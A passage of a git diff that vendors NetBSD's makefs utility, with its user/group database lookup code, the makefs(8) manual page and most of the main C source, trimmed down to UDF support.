DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#if HAVE_CONFIG_H +#include "config.h" +#endif +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +#if HAVE_SYS_PARAM_H +#include +#endif + +#if HAVE_GRP_H +#include +#endif +#if HAVE_LIMITS_H +#include +#endif +#if HAVE_PWD_H +#include +#endif +#if HAVE_STDLIB_H +#include +#endif +#if HAVE_STDIO_H +#include +#endif +#if HAVE_STRING_H +#include +#endif +#if HAVE_TIME_H +#include +#endif +#if HAVE_UNISTD_H +#include +#endif + +#include "extern.h" + +static struct group * gi_getgrnam(const char *); +static struct group * gi_getgrgid(gid_t); +static int gi_setgroupent(int); +static void gi_endgrent(void); +static int grstart(void); +static int grscan(int, gid_t, const char *); +static int grmatchline(int, gid_t, const char *); + +static struct passwd * gi_getpwnam(const char *); +static struct passwd * gi_getpwuid(uid_t); +static int gi_setpassent(int); +static void gi_endpwent(void); +static int pwstart(void); +static int pwscan(int, uid_t, const char *); +static int pwmatchline(int, uid_t, const char *); + +#define MAXGRP 200 +#define MAXLINELENGTH 1024 + +static FILE *_gr_fp; +static struct group _gr_group; +static int _gr_stayopen; +static int _gr_filesdone; +static FILE *_pw_fp; +static struct passwd _pw_passwd; /* password structure */ +static int _pw_stayopen; /* keep fd's open */ +static int _pw_filesdone; + +static char grfile[MAXPATHLEN]; +static char pwfile[MAXPATHLEN]; + +static char *members[MAXGRP]; +static char grline[MAXLINELENGTH]; +static char pwline[MAXLINELENGTH]; + +int +setup_getid(const char *dir) +{ + if (dir == NULL) + return (0); + + /* close existing databases */ + gi_endgrent(); + gi_endpwent(); + + /* build paths to new databases */ + snprintf(grfile, sizeof(grfile), "%s/group", dir); + snprintf(pwfile, sizeof(pwfile), "%s/master.passwd", dir); + + /* try to open new databases */ + if (!grstart() || !pwstart()) + return (0); + + /* switch pwcache(3) lookup functions */ + if (pwcache_groupdb(gi_setgroupent, gi_endgrent, + gi_getgrnam, gi_getgrgid) == -1 + || pwcache_userdb(gi_setpassent, gi_endpwent, + gi_getpwnam, gi_getpwuid) == -1) + return (0); + + return (1); +} + + +/* + * group lookup functions + */ + +static struct group * +gi_getgrnam(const char *name) +{ + int rval; + + if (!grstart()) + return NULL; + rval = grscan(1, 0, name); + if (!_gr_stayopen) + endgrent(); + return (rval) ? &_gr_group : NULL; +} + +static struct group * +gi_getgrgid(gid_t gid) +{ + int rval; + + if (!grstart()) + return NULL; + rval = grscan(1, gid, NULL); + if (!_gr_stayopen) + endgrent(); + return (rval) ? &_gr_group : NULL; +} + +static int +gi_setgroupent(int stayopen) +{ + + if (!grstart()) + return 0; + _gr_stayopen = stayopen; + return 1; +} + +static void +gi_endgrent(void) +{ + + _gr_filesdone = 0; + if (_gr_fp) { + (void)fclose(_gr_fp); + _gr_fp = NULL; + } +} + +static int +grstart(void) +{ + + _gr_filesdone = 0; + if (_gr_fp) { + rewind(_gr_fp); + return 1; + } + if (grfile[0] == '\0') /* sanity check */ + return 0; + return (_gr_fp = fopen(grfile, "r")) ? 1 : 0; +} + + +static int +grscan(int search, gid_t gid, const char *name) +{ + + if (_gr_filesdone) + return 0; + for (;;) { + if (!fgets(grline, sizeof(grline), _gr_fp)) { + if (!search) + _gr_filesdone = 1; + return 0; + } + /* skip lines that are too big */ + if (!strchr(grline, '\n')) { + int ch; + + while ((ch = getc(_gr_fp)) != '\n' && ch != EOF) + ; + continue; + } + if (grmatchline(search, gid, name)) + return 1; + } + /* NOTREACHED */ +} + +static int +grmatchline(int search, gid_t gid, const char *name) +{ + unsigned long id; + char **m; + char *cp, *bp, *ep; + + /* name may be NULL if search is nonzero */ + + bp = grline; + memset(&_gr_group, 0, sizeof(_gr_group)); + _gr_group.gr_name = strsep(&bp, ":\n"); + if (search && name && strcmp(_gr_group.gr_name, name)) + return 0; + _gr_group.gr_passwd = strsep(&bp, ":\n"); + if (!(cp = strsep(&bp, ":\n"))) + return 0; + id = strtoul(cp, &ep, 10); + if (id > GID_MAX || *ep != '\0') + return 0; + _gr_group.gr_gid = (gid_t)id; + if (search && name == NULL && _gr_group.gr_gid != gid) + return 0; + cp = NULL; + if (bp == NULL) + return 0; + for (_gr_group.gr_mem = m = members;; bp++) { + if (m == &members[MAXGRP - 1]) + break; + if (*bp == ',') { + if (cp) { + *bp = '\0'; + *m++ = cp; + cp = NULL; + } + } else if (*bp == '\0' || *bp == '\n' || *bp == ' ') { + if (cp) { + *bp = '\0'; + *m++ = cp; + } + break; + } else if (cp == NULL) + cp = bp; + } + *m = NULL; + return 1; +} + + +/* + * user lookup functions + */ + +static struct passwd * +gi_getpwnam(const char *name) +{ + int rval; + + if (!pwstart()) + return NULL; + rval = pwscan(1, 0, name); + if (!_pw_stayopen) + endpwent(); + return (rval) ? &_pw_passwd : NULL; +} + +static struct passwd * +gi_getpwuid(uid_t uid) +{ + int rval; + + if (!pwstart()) + return NULL; + rval = pwscan(1, uid, NULL); + if (!_pw_stayopen) + endpwent(); + return (rval) ? &_pw_passwd : NULL; +} + +static int +gi_setpassent(int stayopen) +{ + + if (!pwstart()) + return 0; + _pw_stayopen = stayopen; + return 1; +} + +static void +gi_endpwent(void) +{ + + _pw_filesdone = 0; + if (_pw_fp) { + (void)fclose(_pw_fp); + _pw_fp = NULL; + } +} + +static int +pwstart(void) +{ + + _pw_filesdone = 0; + if (_pw_fp) { + rewind(_pw_fp); + return 1; + } + if (pwfile[0] == '\0') /* sanity check */ + return 0; + return (_pw_fp = fopen(pwfile, "r")) ? 1 : 0; +} + + +static int +pwscan(int search, uid_t uid, const char *name) +{ + + if (_pw_filesdone) + return 0; + for (;;) { + if (!fgets(pwline, sizeof(pwline), _pw_fp)) { + if (!search) + _pw_filesdone = 1; + return 0; + } + /* skip lines that are too big */ + if (!strchr(pwline, '\n')) { + int ch; + + while ((ch = getc(_pw_fp)) != '\n' && ch != EOF) + ; + continue; + } + if (pwmatchline(search, uid, name)) + return 1; + } + /* NOTREACHED */ +} + +static int +pwmatchline(int search, uid_t uid, const char *name) +{ + unsigned long id; + char *cp, *bp, *ep; + + /* name may be NULL if search is nonzero */ + + bp = pwline; + memset(&_pw_passwd, 0, sizeof(_pw_passwd)); + _pw_passwd.pw_name = strsep(&bp, ":\n"); /* name */ + if (search && name && strcmp(_pw_passwd.pw_name, name)) + return 0; + + _pw_passwd.pw_passwd = strsep(&bp, ":\n"); /* passwd */ + + if (!(cp = strsep(&bp, ":\n"))) /* uid */ + return 0; + id = strtoul(cp, &ep, 10); + if (id > UID_MAX || *ep != '\0') + return 0; + _pw_passwd.pw_uid = (uid_t)id; + if (search && name == NULL && _pw_passwd.pw_uid != uid) + return 0; + + if (!(cp = strsep(&bp, ":\n"))) /* gid */ + return 0; + id = strtoul(cp, &ep, 10); + if (id > GID_MAX || *ep != '\0') + return 0; + _pw_passwd.pw_gid = (gid_t)id; + + if (!(ep = strsep(&bp, ":"))) /* class */ + return 0; + if (!(ep = strsep(&bp, ":"))) /* change */ + return 0; + if (!(ep = strsep(&bp, ":"))) /* expire */ + return 0; + + if (!(_pw_passwd.pw_gecos = strsep(&bp, ":\n"))) /* gecos */ + return 0; + if (!(_pw_passwd.pw_dir = strsep(&bp, ":\n"))) /* directory */ + return 0; + if (!(_pw_passwd.pw_shell = strsep(&bp, ":\n"))) /* shell */ + return 0; + + if (strchr(bp, ':') != NULL) + return 0; + + return 1; +} + diff --git a/thirdparty/makefs/makefs.8 b/thirdparty/makefs/makefs.8 new file mode 100644 index 0000000..92f8fb4 --- /dev/null +++ b/thirdparty/makefs/makefs.8 @@ -0,0 +1,460 @@ +.\" $NetBSD: makefs.8,v 1.53 2013/08/06 20:16:54 wiz Exp $ +.\" +.\" Copyright (c) 2001-2003 Wasabi Systems, Inc. +.\" All rights reserved. +.\" +.\" Written by Luke Mewburn for Wasabi Systems, Inc. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" 3. All advertising materials mentioning features or use of this software +.\" must display the following acknowledgement: +.\" This product includes software developed for the NetBSD Project by +.\" Wasabi Systems, Inc. +.\" 4. The name of Wasabi Systems, Inc. may not be used to endorse +.\" or promote products derived from this software without specific prior +.\" written permission. +.\" +.\" THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND +.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +.\" TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +.\" PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC +.\" BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +.\" CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +.\" SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +.\" INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +.\" CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +.\" ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +.\" POSSIBILITY OF SUCH DAMAGE. +.\" +.Dd August 6, 2013 +.Dt MAKEFS 8 +.Os +.Sh NAME +.Nm makefs +.Nd create a file system image from a directory tree +.Sh SYNOPSIS +.Nm +.Op Fl rxZ +.Op Fl B Ar endian +.Op Fl b Ar free-blocks +.Op Fl d Ar debug-mask +.Op Fl F Ar mtree-specfile +.Op Fl f Ar free-files +.Op Fl M Ar minimum-size +.Op Fl m Ar maximum-size +.Op Fl N Ar userdb-dir +.Op Fl O Ar offset +.Op Fl o Ar fs-options +.Op Fl S Ar sector-size +.Op Fl s Ar image-size +.Op Fl t Ar fs-type +.Ar image-file +.Ar directory +.Op Ar extra-directory ... +.Sh DESCRIPTION +The utility +.Nm +creates a file system image into +.Ar image-file +from the directory tree +.Ar directory . +If any optional directory trees are passed in the +.Ar extra-directory +arguments, then the directory tree of each argument will be merged +into the +.Ar directory +first before creating +.Ar image-file . +No special devices or privileges are required to perform this task. +.Pp +The options are as follows: +.Bl -tag -width flag +.It Fl B Ar endian +Set the byte order of the image to +.Ar endian . +Valid byte orders are +.Ql 4321 , +.Ql big , +or +.Ql be +for big endian, and +.Ql 1234 , +.Ql little , +or +.Ql le +for little endian. +Some file systems may have a fixed byte order; in those cases this +argument will be ignored. +.It Fl b Ar free-blocks +Ensure that a minimum of +.Ar free-blocks +free blocks exist in the image. +An optional +.Ql % +suffix may be provided to indicate that +.Ar free-blocks +indicates a percentage of the calculated image size. +.It Fl d Ar debug-mask +Enable various levels of debugging, depending upon which bits are +set in +.Ar debug-mask . +XXX: document these +.It Fl F Ar mtree-specfile +Use +.Ar mtree-specfile +as an +.Xr mtree 8 +.Sq specfile +specification. +.Pp +If a specfile entry exists in the underlying file system, its +permissions and modification time will be used unless specifically +overridden by the specfile. +An error will be raised if the type of entry in the specfile +conflicts with that of an existing entry. +.Pp +In the opposite case (where a specfile entry does not have an entry +in the underlying file system) the following occurs: +If the specfile entry is marked +.Sy optional , +the specfile entry is ignored. +Otherwise, the entry will be created in the image, and it is +necessary to specify at least the following parameters in the +specfile: +.Sy type , +.Sy mode , +.Sy gname , +or +.Sy gid , +and +.Sy uname +or +.Sy uid , +.Sy device +(in the case of block or character devices), and +.Sy link +(in the case of symbolic links). +If +.Sy time +isn't provided, the current time will be used. +If +.Sy flags +isn't provided, the current file flags will be used. +Missing regular file entries will be created as zero-length files. +.It Fl f Ar free-files +Ensure that a minimum of +.Ar free-files +free files (inodes) exist in the image. +An optional +.Ql % +suffix may be provided to indicate that +.Ar free-files +indicates a percentage of the calculated image size. +.It Fl M Ar minimum-size +Set the minimum size of the file system image to +.Ar minimum-size . +.It Fl m Ar maximum-size +Set the maximum size of the file system image to +.Ar maximum-size . +An error will be raised if the target file system needs to be larger +than this to accommodate the provided directory tree. +.It Fl N Ar userdb-dir +Use the user database text file +.Pa master.passwd +and group database text file +.Pa group +from +.Ar userdb-dir , +rather than using the results from the system's +.Xr getpwnam 3 +and +.Xr getgrnam 3 +(and related) library calls. +.It Fl O Ar offset +Instead of creating the filesystem at the beginning of the file, start +at offset. +Valid only for +.Sy ffs +and +.Sy msdos . +.It Fl o Ar fs-options +Set file system specific options. +.Ar fs-options +is a comma separated list of options. +Valid file system specific options are detailed below. +.It Fl r +When merging multiple directories replace duplicate files with the last found. +.It Fl S Ar sector-size +Set the file system sector size to +.Ar sector-size . +.\" XXX: next line also true for cd9660? +Defaults to 512. +.It Fl s Ar image-size +Set the size of the file system image to +.Ar image-size . +.It Fl t Ar fs-type +Create an +.Ar fs-type +file system image. +The following file system types are supported: +.Bl -tag -width cd9660 -offset indent +.It Sy ffs +BSD fast file system (default). +.It Sy cd9660 +ISO 9660 file system. +.It Sy chfs +Chip flash file system. +.It Sy msdos +FAT12, FAT16, or FAT32 file system. +.It Sy v7fs +7th Edition(V7) file system. +.It Sy udf +ISO/Ecma UDF file system. +.El +.It Fl x +Exclude file system nodes not explicitly listed in the specfile. +.It Fl Z +Create a sparse file for +.Sy ffs . +This is useful for virtual machine images. +.El +.Pp +Where sizes are specified, a decimal number of bytes is expected. +Two or more numbers may be separated by an +.Dq x +to indicate a product. +Each number may have one of the following optional suffixes: +.Bl -tag -width 3n -offset indent -compact +.It b +Block; multiply by 512 +.It k +Kibi; multiply by 1024 (1 KiB) +.It m +Mebi; multiply by 1048576 (1 MiB) +.It g +Gibi; multiply by 1073741824 (1 GiB) +.It t +Tebi; multiply by 1099511627776 (1 TiB) +.It w +Word; multiply by the number of bytes in an integer +.El +.\" +.\" +.Ss FFS-specific options +.Sy ffs +images have ffs-specific optional parameters that may be provided. +Each of the options consists of a keyword, an equal sign +.Pq Ql = , +and a value. +The following keywords are supported: +.Pp +.Bl -tag -width optimization -offset indent -compact +.It Sy avgfilesize +Expected average file size. +.It Sy avgfpdir +Expected number of files per directory. +.It Sy bsize +Block size. +.It Sy density +Bytes per inode. +.It Sy fsize +Fragment size. +.It Sy label +Label name of the image. +.It Sy maxbpg +Maximum blocks per file in a cylinder group. +.It Sy minfree +Minimum % free. +.It Sy optimization +Optimization preference; one of +.Ql space +or +.Ql time . +.It Sy extent +Maximum extent size. +.It Sy maxbpcg +Maximum total number of blocks in a cylinder group. +.It Sy version +UFS version. +1 for FFS (default), 2 for UFS2. +.El +.Ss CD9660-specific options +.Sy cd9660 +images have ISO9660-specific optional parameters that may be +provided. +The arguments consist of a keyword and, optionally, an equal sign +.Pq Ql = , +and a value. +The following keywords are supported: +.Pp +.Bl -tag -width omit-trailing-period -offset indent -compact +.It Sy allow-deep-trees +Allow the directory structure to exceed the maximum specified in +the spec. +.\" .It Sy allow-illegal-chars +.\" Unknown +.\" .It Sy allow-lowercase +.\" Unknown +.It Sy allow-max-name +Allow 37 instead of 33 characters for filenames by omitting the +version id. +.It Sy allow-multidot +Allow multiple dots in a filename. +.It Sy applicationid +Application ID of the image. +.It Sy archimedes +Use the +.Ql ARCHIMEDES +extension to encode +.Tn RISC OS +metadata. +.It Sy chrp-boot +Write an MBR partition table to the image to allow older CHRP hardware to +boot. +.It Sy boot-load-segment +Set load segment for the boot image. +.It Sy bootimage +Filename of a boot image in the format +.Dq sysid;filename , +where +.Dq sysid +is one of +.Ql i386 , +.Ql mac68k , +.Ql macppc , +or +.Ql powerpc . +.It Sy generic-bootimage +Load a generic boot image into the first 32K of the cd9660 image. +.It Sy hard-disk-boot +Boot image is a hard disk image. +.It Sy keep-bad-images +Don't throw away images whose write was aborted due to an error. +For debugging purposes. +.It Sy label +Label name of the image. +.It Sy no-boot +Boot image is not bootable. +.It Sy no-emul-boot +Boot image is a +.Dq no emulation +ElTorito image. +.It Sy no-trailing-padding +Do not pad the image (apparently Linux needs the padding). +.\" .It Sy omit-trailing-period +.\" Unknown +.It Sy preparer +Preparer ID of the image. +.It Sy publisher +Publisher ID of the image. +.It Sy rockridge +Use RockRidge extensions (for longer filenames, etc.). +.It Sy volumeid +Volume set identifier of the image. +.El +.Ss CHFS-specific options +.Sy chfs +images have chfs-specific optional parameters that may be provided. +Each of the options consists of a keyword, an equal sign +.Pq Ql = , +and a value. +The following keywords are supported: +.Pp +.Bl -tag -width optimization -offset indent -compact +.It Sy pagesize +Pagesize. +.It Sy erasesize +Erase block size of the media. +.It Sy mediatype +Type of the media. +NOR: 0 or NAND: 1. +.El +.Ss msdos-specific options +See +.Xr newfs_msdos 8 +for fs specific options. +.Ss V7FS-specific options +The following keywords are supported: +.Pp +.Bl -tag -width optimization -offset indent -compact +.It Sy pdp +PDP endian. +.It Sy progress +Display a progress meter for the file system construction and file +population. +.El +.Ss UDF-specific options +.Sy udf +images have udf-specific optional parameters that may be provided. +Each of the options consists of a keyword, an equal sign +.Pq Ql = , +and a value. +The following keywords are supported: +.Pp +.Bl -tag -width optimization -compact +.It Sy disctype +This can have the following values: +.Bl -tag -width cdromXdvdromXbdromXXX -compact +.It Sy cdrom , Sy dvdrom , Sy bdrom +create a read-only fs +.It Sy dvdram , Sy bdre , Sy disk +create a rewritable fs without sparing for defective sectors +.It Sy cdr , Sy dvdr , Sy bdr +create a rewritable fs on once recordable media using a VAT +.It Sy cdrw , Sy dvdrw +create a rewritable fs with sparing for defective sectors +.El +When an optical media is selected here, the sectorsize and the default disc +size is assumed unless given explicitly. +For rom images the disc size is the minimum needed. +.It Sy loglabel +Set the logical volume label of the disc to the specified argument. +.It Sy discid +Set the physical volume label of the disc to the specified argument. +Prepend the physical volume label with a volumeset label separated +with a ':' if wanted. +For strict conformance and interchange, don't set the volumeset label +manually unless it has an unique hex number in the first 8 character +positions. +.It Sy minver +Set the minimum UDF version to be used. +Choose UDF version numbers from 0x102, 0x150, 0x200, and 0x201. +Versions 0x250 and 0x260 are currently not supported +in +.Nm . +.El +.Sh SEE ALSO +.Xr strsuftoll 3 , +.Xr installboot 8 , +.Xr mtree 8 , +.Xr newfs 8 +.Sh HISTORY +The +.Nm +utility appeared in +.Nx 1.6 . +.Sh AUTHORS +.An Luke Mewburn +.Aq lukem@NetBSD.org +(original program), +.An Daniel Watt , +.An Walter Deignan , +.An Ryan Gabrys , +.An Alan Perez-Rathke , +.An Ram Vedam +(cd9660 support), +.An UCHIYAMA Yasushi +(v7fs support), +.An Tamas Toth +(chfs support). +.An Christos Zoulas +(msdos support). +.An Reinoud Zandijk +(udf support). diff --git a/thirdparty/makefs/makefs.c b/thirdparty/makefs/makefs.c new file mode 100644 index 0000000..989c6f3 --- /dev/null +++ b/thirdparty/makefs/makefs.c @@ -0,0 +1,447 @@ +/* $NetBSD: makefs.c,v 1.50 2013/08/05 14:41:57 reinoud Exp $ */ + +/* + * Copyright (c) 2001-2003 Wasabi Systems, Inc. + * All rights reserved. + * + * Written by Luke Mewburn for Wasabi Systems, Inc. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed for the NetBSD Project by + * Wasabi Systems, Inc. + * 4. The name of Wasabi Systems, Inc. may not be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +#if defined(__RCSID) && !defined(__lint) +__RCSID("$NetBSD: makefs.c,v 1.50 2013/08/05 14:41:57 reinoud Exp $"); +#endif /* !__lint */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "util.h" + +#include +#include +#include + +#include "makefs.h" +#include "mtree.h" +//#include "cd9660.h" + +/* Forward declaration for strsuftoll from strstuff.c */ +long long strsuftoll(const char *desc, const char *val, long long min, long long max); + +/* + * list of supported file systems and dispatch functions + */ +typedef struct { + const char *type; + void (*prepare_options)(fsinfo_t *); + int (*parse_options)(const char *, fsinfo_t *); + void (*cleanup_options)(fsinfo_t *); + void (*make_fs)(const char *, const char *, fsnode *, + fsinfo_t *); +} fstype_t; + +static fstype_t fstypes[] = { +#define ENTRY(name) { \ + # name, name ## _prep_opts, name ## _parse_opts, \ + name ## _cleanup_opts, name ## _makefs \ +} +#if 0 + ENTRY(ffs), + ENTRY(cd9660), + ENTRY(chfs), + ENTRY(v7fs), + ENTRY(msdos), +#endif + ENTRY(udf), + { .type = NULL }, +}; + +u_int debug; +struct timespec start_time; + +static fstype_t *get_fstype(const char *); +static void usage(fstype_t *, fsinfo_t *); + +int +main(int argc, char *argv[]) +{ + struct timeval start; + fstype_t *fstype; + fsinfo_t fsoptions; + fsnode *root; + int ch, i, len; + char *specfile; + + setprogname(argv[0]); + + debug = 0; + if ((fstype = get_fstype(DEFAULT_FSTYPE)) == NULL) + errx(1, "Unknown default fs type `%s'.", DEFAULT_FSTYPE); + + /* set default fsoptions */ + (void)memset(&fsoptions, 0, sizeof(fsoptions)); + fsoptions.fd = -1; + fsoptions.sectorsize = -1; + + if (fstype->prepare_options) + fstype->prepare_options(&fsoptions); + + specfile = NULL; + if (gettimeofday(&start, NULL) == -1) + err(1, "Unable to get system time"); + + start_time.tv_sec = start.tv_sec; + start_time.tv_nsec = start.tv_usec * 1000; + + while ((ch = getopt(argc, argv, "B:b:d:f:F:M:m:N:O:o:rs:S:t:xZ")) != -1) { + switch (ch) { + + case 'B': + if (strcmp(optarg, "be") == 0 || + strcmp(optarg, "4321") == 0 || + strcmp(optarg, "big") == 0) { +#if BYTE_ORDER == LITTLE_ENDIAN + fsoptions.needswap = 1; +#endif + } else if (strcmp(optarg, "le") == 0 || + strcmp(optarg, "1234") == 0 || + strcmp(optarg, "little") == 0) { +#if BYTE_ORDER == BIG_ENDIAN + fsoptions.needswap = 1; +#endif + } else { + warnx("Invalid endian `%s'.", optarg); + usage(fstype, &fsoptions); + } + break; + + case 'b': + len = strlen(optarg) - 1; + if (optarg[len] == '%') { + optarg[len] = '\0'; + fsoptions.freeblockpc = + strsuftoll("free block percentage", + optarg, 0LL, 99); + } else { + fsoptions.freeblocks = + strsuftoll("free blocks", + optarg, 0LL, LLONG_MAX); + } + break; + + case 'd': + debug = strtoll(optarg, NULL, 0); + break; + + case 'f': + len = strlen(optarg) - 1; + if (optarg[len] == '%') { + optarg[len] = '\0'; + fsoptions.freefilepc = + strsuftoll("free file percentage", + optarg, 0, 99); + } else { + fsoptions.freefiles = + strsuftoll("free files", + optarg, 0, LLONG_MAX); + } + break; + + case 'F': + specfile = optarg; + break; + + case 'M': + fsoptions.minsize = + strsuftoll("minimum size", optarg, 1LL, LLONG_MAX); + break; + + case 'N': + // if (! setup_getid(optarg)) + errx(1, + "Unable to use user and group databases in `%s'", + optarg); + break; + + case 'm': + fsoptions.maxsize = + strsuftoll("maximum size", optarg, 1LL, LLONG_MAX); + break; + + case 'O': + fsoptions.offset = + strsuftoll("offset", optarg, 0LL, LLONG_MAX); + break; + + case 'o': + { + char *p; + + while ((p = strsep(&optarg, ",")) != NULL) { + if (*p == '\0') + errx(1, "Empty option"); + if (! fstype->parse_options(p, &fsoptions)) + usage(fstype, &fsoptions); + } + break; + } + + case 'r': + fsoptions.replace = 1; + break; + + case 's': + fsoptions.minsize = fsoptions.maxsize = + strsuftoll("size", optarg, 1LL, LLONG_MAX); + break; + + case 'S': + fsoptions.sectorsize = + (int)strsuftoll("sector size", optarg, + 1LL, INT_MAX); + break; + + case 't': + /* Check current one and cleanup if necessary. */ + if (fstype->cleanup_options) + fstype->cleanup_options(&fsoptions); + fsoptions.fs_specific = NULL; + if ((fstype = get_fstype(optarg)) == NULL) + errx(1, "Unknown fs type `%s'.", optarg); + fstype->prepare_options(&fsoptions); + break; + + case 'x': + fsoptions.onlyspec = 1; + break; + + case 'Z': + fsoptions.sparse = 1; + break; + + case '?': + default: + usage(fstype, &fsoptions); + /* NOTREACHED */ + + } + } + if (debug) { + printf("debug mask: 0x%08x\n", debug); + printf("start time: %ld.%ld, %s", + (long)start_time.tv_sec, (long)start_time.tv_nsec, + ctime(&start_time.tv_sec)); + } + argc -= optind; + argv += optind; + + if (argc < 2) + usage(fstype, &fsoptions); + + /* -x must be accompanied by -F */ + if (fsoptions.onlyspec != 0 && specfile == NULL) + errx(1, "-x requires -F mtree-specfile."); + + /* walk the tree */ + TIMER_START(start); + root = walk_dir(argv[1], ".", NULL, NULL, fsoptions.replace); + TIMER_RESULTS(start, "walk_dir"); + + /* append extra directory */ + for (i = 2; i < argc; i++) { + struct stat sb; + if (stat(argv[i], &sb) == -1) + err(1, "Can't stat `%s'", argv[i]); + if (!S_ISDIR(sb.st_mode)) + errx(1, "%s: not a directory", argv[i]); + TIMER_START(start); + root = walk_dir(argv[i], ".", NULL, root, fsoptions.replace); + TIMER_RESULTS(start, "walk_dir2"); + } + + if (specfile) { /* apply a specfile */ + TIMER_START(start); + // apply_specfile(specfile, argv[1], root, fsoptions.onlyspec); + TIMER_RESULTS(start, "apply_specfile"); + } + + if (debug & DEBUG_DUMP_FSNODES) { + printf("\nparent: %s\n", argv[1]); + dump_fsnodes(root); + putchar('\n'); + } + + /* build the file system */ + TIMER_START(start); + fstype->make_fs(argv[0], argv[1], root, &fsoptions); + TIMER_RESULTS(start, "make_fs"); + + free_fsnodes(root); + + exit(0); + /* NOTREACHED */ +} + +int +set_option(const option_t *options, const char *option, char *buf, size_t len) +{ + char *var, *val; + int retval; + + assert(option != NULL); + + var = strdup(option); + for (val = var; *val; val++) + if (*val == '=') { + *val++ = '\0'; + break; + } + retval = set_option_var(options, var, val, buf, len); + free(var); + return retval; +} + +int +set_option_var(const option_t *options, const char *var, const char *val, + char *buf, size_t len) +{ + char *s; + size_t i; + +#define NUM(type) \ + if (!*val) { \ + *(type *)options[i].value = 1; \ + break; \ + } \ + *(type *)options[i].value = (type)strsuftoll(options[i].desc, val, \ + options[i].minimum, options[i].maximum); break + + for (i = 0; options[i].name != NULL; i++) { + if (var[1] == '\0') { + if (options[i].letter != var[0]) + continue; + } else if (strcmp(options[i].name, var) != 0) + continue; + switch (options[i].type) { + case OPT_BOOL: + *(bool *)options[i].value = 1; + break; + case OPT_STRARRAY: + strlcpy((void *)options[i].value, val, (size_t) + options[i].maximum); + break; + case OPT_STRPTR: + s = strdup(val); + *(char **)options[i].value = s; + break; + case OPT_STRBUF: + if (buf == NULL) + abort(); + strlcpy(buf, val, len); + break; + case OPT_INT64: + NUM(uint64_t); + case OPT_INT32: + NUM(uint32_t); + case OPT_INT16: + NUM(uint16_t); + case OPT_INT8: + NUM(uint8_t); + default: + warnx("Unknown type %d in option %s", options[i].type, + val); + return 0; + } + return i; + } + warnx("Unknown option `%s'", var); + return -1; +} + + +static fstype_t * +get_fstype(const char *type) +{ + int i; + + for (i = 0; fstypes[i].type != NULL; i++) + if (strcmp(fstypes[i].type, type) == 0) + return (&fstypes[i]); + return (NULL); +} + +option_t * +copy_opts(const option_t *o) +{ + size_t i; + for (i = 0; o[i].name; i++) + continue; + i++; + return memcpy(calloc(i, sizeof(*o)), o, i * sizeof(*o)); +} + +static void +usage(fstype_t *fstype, fsinfo_t *fsoptions) +{ + const char *prog; + + prog = getprogname(); + fprintf(stderr, +"Usage: %s [-rxZ] [-B endian] [-b free-blocks] [-d debug-mask]\n" +"\t[-F mtree-specfile] [-f free-files] [-M minimum-size] [-m maximum-size]\n" +"\t[-N userdb-dir] [-O offset] [-o fs-options] [-S sector-size]\n" +"\t[-s image-size] [-t fs-type] image-file directory [extra-directory ...]\n", + ""); + + if (fstype) { + size_t i; + option_t *o = fsoptions->fs_options; + + fprintf(stderr, "\n%s specific options:\n", 